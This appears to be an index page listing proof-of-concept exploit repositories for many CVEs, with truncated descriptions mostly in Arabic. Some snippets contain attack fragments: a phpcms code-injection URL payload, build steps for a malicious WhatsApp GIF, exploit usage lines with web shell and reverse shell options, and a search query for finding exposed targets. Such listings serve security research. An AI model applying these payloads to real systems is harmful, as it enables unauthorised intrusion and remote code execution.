CVE-2022-40127-Airflow-RCE

Apache Airflow توجد ثغرة أمنية في DAGs المثال Example Dags في Apache Airflow تسمح لمهاجم لديه وصول إلى واجهة المستخدم ويمكنه تشغيل DAGs بتنفيذ أوامر عشوائية عبر معامل runid المُقدَّم يدويًا. تؤثر هذه المشكلة على إصدارات Apache Airflow السابقة للإصدار 2.4.0. أُنشئ هذا المستودع لمنشور مدونة لتحليل...

next88

next88 - ماسح ثغرات RCE لمكونات خادم React أداة عالية الأداء بلغة Go لكشف ثغرات RCE في مكونات خادم React CVE-2025-55182 و CVE-2025-66478. الميزات 🚀 أداء عالي : ملف ثنائي مترجم بلغة Go مع توازي مبني على goroutines 🔍 طرق كشف متعددة : كشف أمن عبر القناة الجانبية فحوصات إثبات المفهوم لـ RCE تقنيات...

CVE-2025-2945_PgAdmin_PoC

CVE-2025-2945PoC pgAdmin إثبات المفهوم pgAdmin Query Tool RCE CVE-2025-2945 – إثبات المفهوم باستخدام بايثون ⚠️ إخلاء مسؤولية يحتوي هذا المستودع على استغلال إثبات المفهوم لـ CVE-2025-2945، وهو ثغرة حرجة لتنفيذ الأوامر عن بُعد في إصدارات pgAdmin 4 قبل 9.2. استخدم هذا الكود فقط في البيئات التي تملكها...

phpcms-2008-CVE-2018-19127

phpcms-2008-CVE-2018-19127 Récemment, nous avons trouvé une vulnérabilité dans /type.php du code source de phpcms 2008. Lorsque des attaquants envoient des requêtes spécialement conçues comme "/type.php?template=tag;@unlinkFILE;assert$POST1;//../rss", un contenu malveillant dans ce cas...

CiscoISE-CVE-2025-20282-POC

Cisco ISE CVE 2025-20282 إثبات المفهوم التقرير الفني: https://riversecurity.eu/like-stealing-cisco-ise-cream-from-a-kid-weaponizing-a-cve/ يستغل السكربت المكتوب بلغة بايثون وظيفة الرفع المتاحة بدون مصادقة عبر المسار /admin/files-upload/ يقوم السكربت محليًا بإنشاء مجلد باسم bin وملف باسم...

CVE-2019-11932

CVE-2019-11932 قم بتعديل عنوان الاستماع عنوان المهاجم ومنفذ الاستماع في ملف exploit.c الكود السداسي التالي: 3139 322e 3136 382e 322e 3732 2034 3434 3420 قم بتجميع الكود: gcc -o exploit egiflib.c exploit.c قم بتشغيل الملف المُجمَّع ./exploit exploit.gif انسخ/الصق المخرجات في ملف gif قم بتشغيل مستم...

CVE-2024-28397-js2py-Sandbox-Escape

مقدمة الصينية التحليل بالصينية التحليل بالإنجليزية js2py هي حزمة بايثون شائعة يمكنها تقييم كود جافاسكريبت داخل مترجم بايثون. تُستخدم من قِبل العديد من أدوات تجريف الويب لتحليل كود جافاسكريبت على الموقع الإلكتروني. توجد ثغرة في تنفيذ متغير عام داخل js2py، مما يسمح للمهاجم بالحصول على مرجع لكائن...

CVE-2024-4879

ثغرة حقن قالب Jelly في ServiceNow | إثبات المفهوم CVE-2024-4879 الوصف: قامت ServiceNow بمعالجة ثغرة في التحقق من صحة الإدخال تم اكتشافها في إصدارات Now Platform الخاصة بفانكوفر وواشنطن العاصمة. قد تمكن هذه الثغرة مستخدمًا غير موثّق من تنفيذ كود عن بُعد في سياق Now Platform. FOFA : "server :...

Rasa-cve-exp

Rasa-cve-exp CVE-2021-42556 server-1.py يمكنك تشغيله مباشرة python server-1.py رفع ملفات بشكل تعسفي PUT /model "modelserver":"url":"http://192.168.244.128:5000/stage1","waittimebetweenpulls":0 التأثير كما يلي: CVE-2021-41127 server-1.py اسم النموذج الافتراضي evilimportmodel.tar.gz نموذج خبيث تجري...

CVE-2026-48907

CVE-2026-48907 — تنفيذ الأوامر عن بُعد RCE بدون مصادقة في Joomla Content Editor JCE الإصدارات ≥ 2.9.99.4 إثبات المفهوم PoC لثغرة CVE-2026-48907 — وهي ثغرة تنفيذ أوامر عن بُعد RCE بدون مصادقة بتصنيف CVSS 10.0 في إضافة Joomla Content Editor JCE. بحث من فريق Grayxploit الأمني جدول المحتويات نظرة عام...

CVE-2025-10230

CVE-2025-10230: ثغرة RCE حرجة في Samba CVSS 10.0 ملخص الثغرة CVE-2025-10230 هي ثغرة حرجة لتنفيذ التعليمات البرمجية عن بُعد RCE ظلت مخفية في قاعدة كود Samba لمدة 13 عامًا. تتمثل الثغرة في معالجة حزم تسجيل WINS خدمة أسماء Windows للإنترنت. عند تكوينه كوحدة تحكم بالمجال مع wins support = yes وسكربت...

CVE-2024-36401-poc

CVE-2024-36401 — حقن XPath في OGC GeoServer لتنفيذ أوامر عن بُعد استغلال لتنفيذ أوامر عن بُعد بدون مصادقة في GeoServer عبر حقن معامل valueReference الخاص بمرشّحات OGC تقييم XPath/JXPath. إخلاء مسؤولية: هذه الأداة مخصصة لاختبار الاختراق والبحث الأمني المصرّح به فقط. لا تستخدمها ضد أنظمة لا تملكها ...

CVE-2026-55200

تقرير أمني: CVE-2026-55200 📝 وصف عام CVE-2026-55200 هو ثغرة أمنية خطيرة من نوع تجاوز سعة المخزن المؤقت في الذاكرة الديناميكية تلف الذاكرة الديناميكية تؤثر على مكتبة libssh2 في الإصدارات حتى 1.11.1. تسمح لخادم SSH ضار باختراق العملاء الضعفاء الذين يتصلون به. ⚡ تفاصيل تقنية نوع الثغرة: تجاوز سعة...

CVE-2019-11932-whatsApp-exploit

CVE-2019-11932-whatsap-exploit يجب استبدال عنوان system وgadget بالعنوان الفعلي الذي تم العثور عليه عبر ثغرة كشف المعلومات. بعد استبدال عنوان system وgadget، شغّل الكود لإنشاء ملف GIF التالف: الآن لنفعلها root@mranonymousTZ:/root/Desktop/CVE-2019-11932-whatsap-exploit$ chmod +x build.py...

CVE-2026-38526

CVE-2026-38526 - Krayin CRM RCE الوصف نص برهان المفهوم PoC لثغرة حرجة في Krayin CRM v2.2.x تسمح بتنفيذ الأوامر عن بُعد RCE عبر تحميل ملف غير مقيد. الاستخدام Web shell python3 exploit.py -u http://target.com -e [email protected] -p password123 Reverse shell python3 exploit.py -u...

CVE-2018-1000533

ثغرة تنفيذ التعليمات البرمجية عن بُعد في GitList 0.6.0 CVE-2018-1000533 GitList هو عارض مستودعات Git حديث. في الإصدارات 0.6.0 وما دون من GitList، توجد ثغرة تتمثل في تمرير مدخلات لم يتم التحقق منها بشكل صحيح إلى دالة النظام، مما يسمح بتنفيذ أوامر عشوائية بصلاحيات مستخدم PHP. إعداد البيئة لتشغيل خا...

cve-2022-37298

CVE-2022-37298: RCE في Shinken Monitoring الإصدارات المتأثرة: 2.4.3 رابط الإفصاح: https://github.com/naparuba/shinken/commit/2dae40fd1e713aec9e1966a0ab7a580b9180cff2 رابط CVE: https://vulners.com/cve/CVE-2022-37298 الوصف تطبّق الفئة SafeUnpickler الموجودة في shinken/safepickle.py مخطط مصادقة ضعيف...

CVE-2025-49132_HTB_SEASON10

CVE-2025-49132 - استغلال تنفيذ الأوامر عن بعد في لوحة Pterodactyl موسم HTB 10 - شرح آلة Pterodactyl نظرة عامة الهدف: آلة Pterodactyl HTB صعوبة متوسطة CVE: CVE-2025-49132 الخطورة: حرجة CVSS 9.8 نوع الهجوم: تنفيذ أوامر عن بعد بدون مصادقة المتأثر: لوحة Pterodactyl إصدار...

exploit-CVE-2020-5844

استغلال CVE-2020-5844 Pandora FMS v7.0NG.742 - تنفيذ الأوامر عن بُعد أعجبك هذا المستودع؟ امنحنا ⭐! لأغراض التعليم والبحث الأمني المصرح به فقط. مؤلف الاستغلال @UNICORDev بواسطة @NicPWNs و @Dev-Yeoj وصف الثغرة index.php?sec=godmode/extensions&sec2=extensions/filesrepo في Pandora FMS v7.0 NG تسمح...

CVE-2019-2107

CVE-2019-2107 CVE-2019-2107 تبدو CVE-2019-2107 مخيفة. ما زلنا نتذكر أخطاء Stagefright وثغرات PNG .... مع CVE-2019-2107، تعمل وحدة فك الترميز/الترميز decoder/codec تحت مستخدم mediacodec، ومع فيديو "مُصمَّم" بعناية مع تفعيل البلاطات - pspps-i1tilesenabledflag قد تتمكن من تنفيذ تعليمات برمجية عن بُع...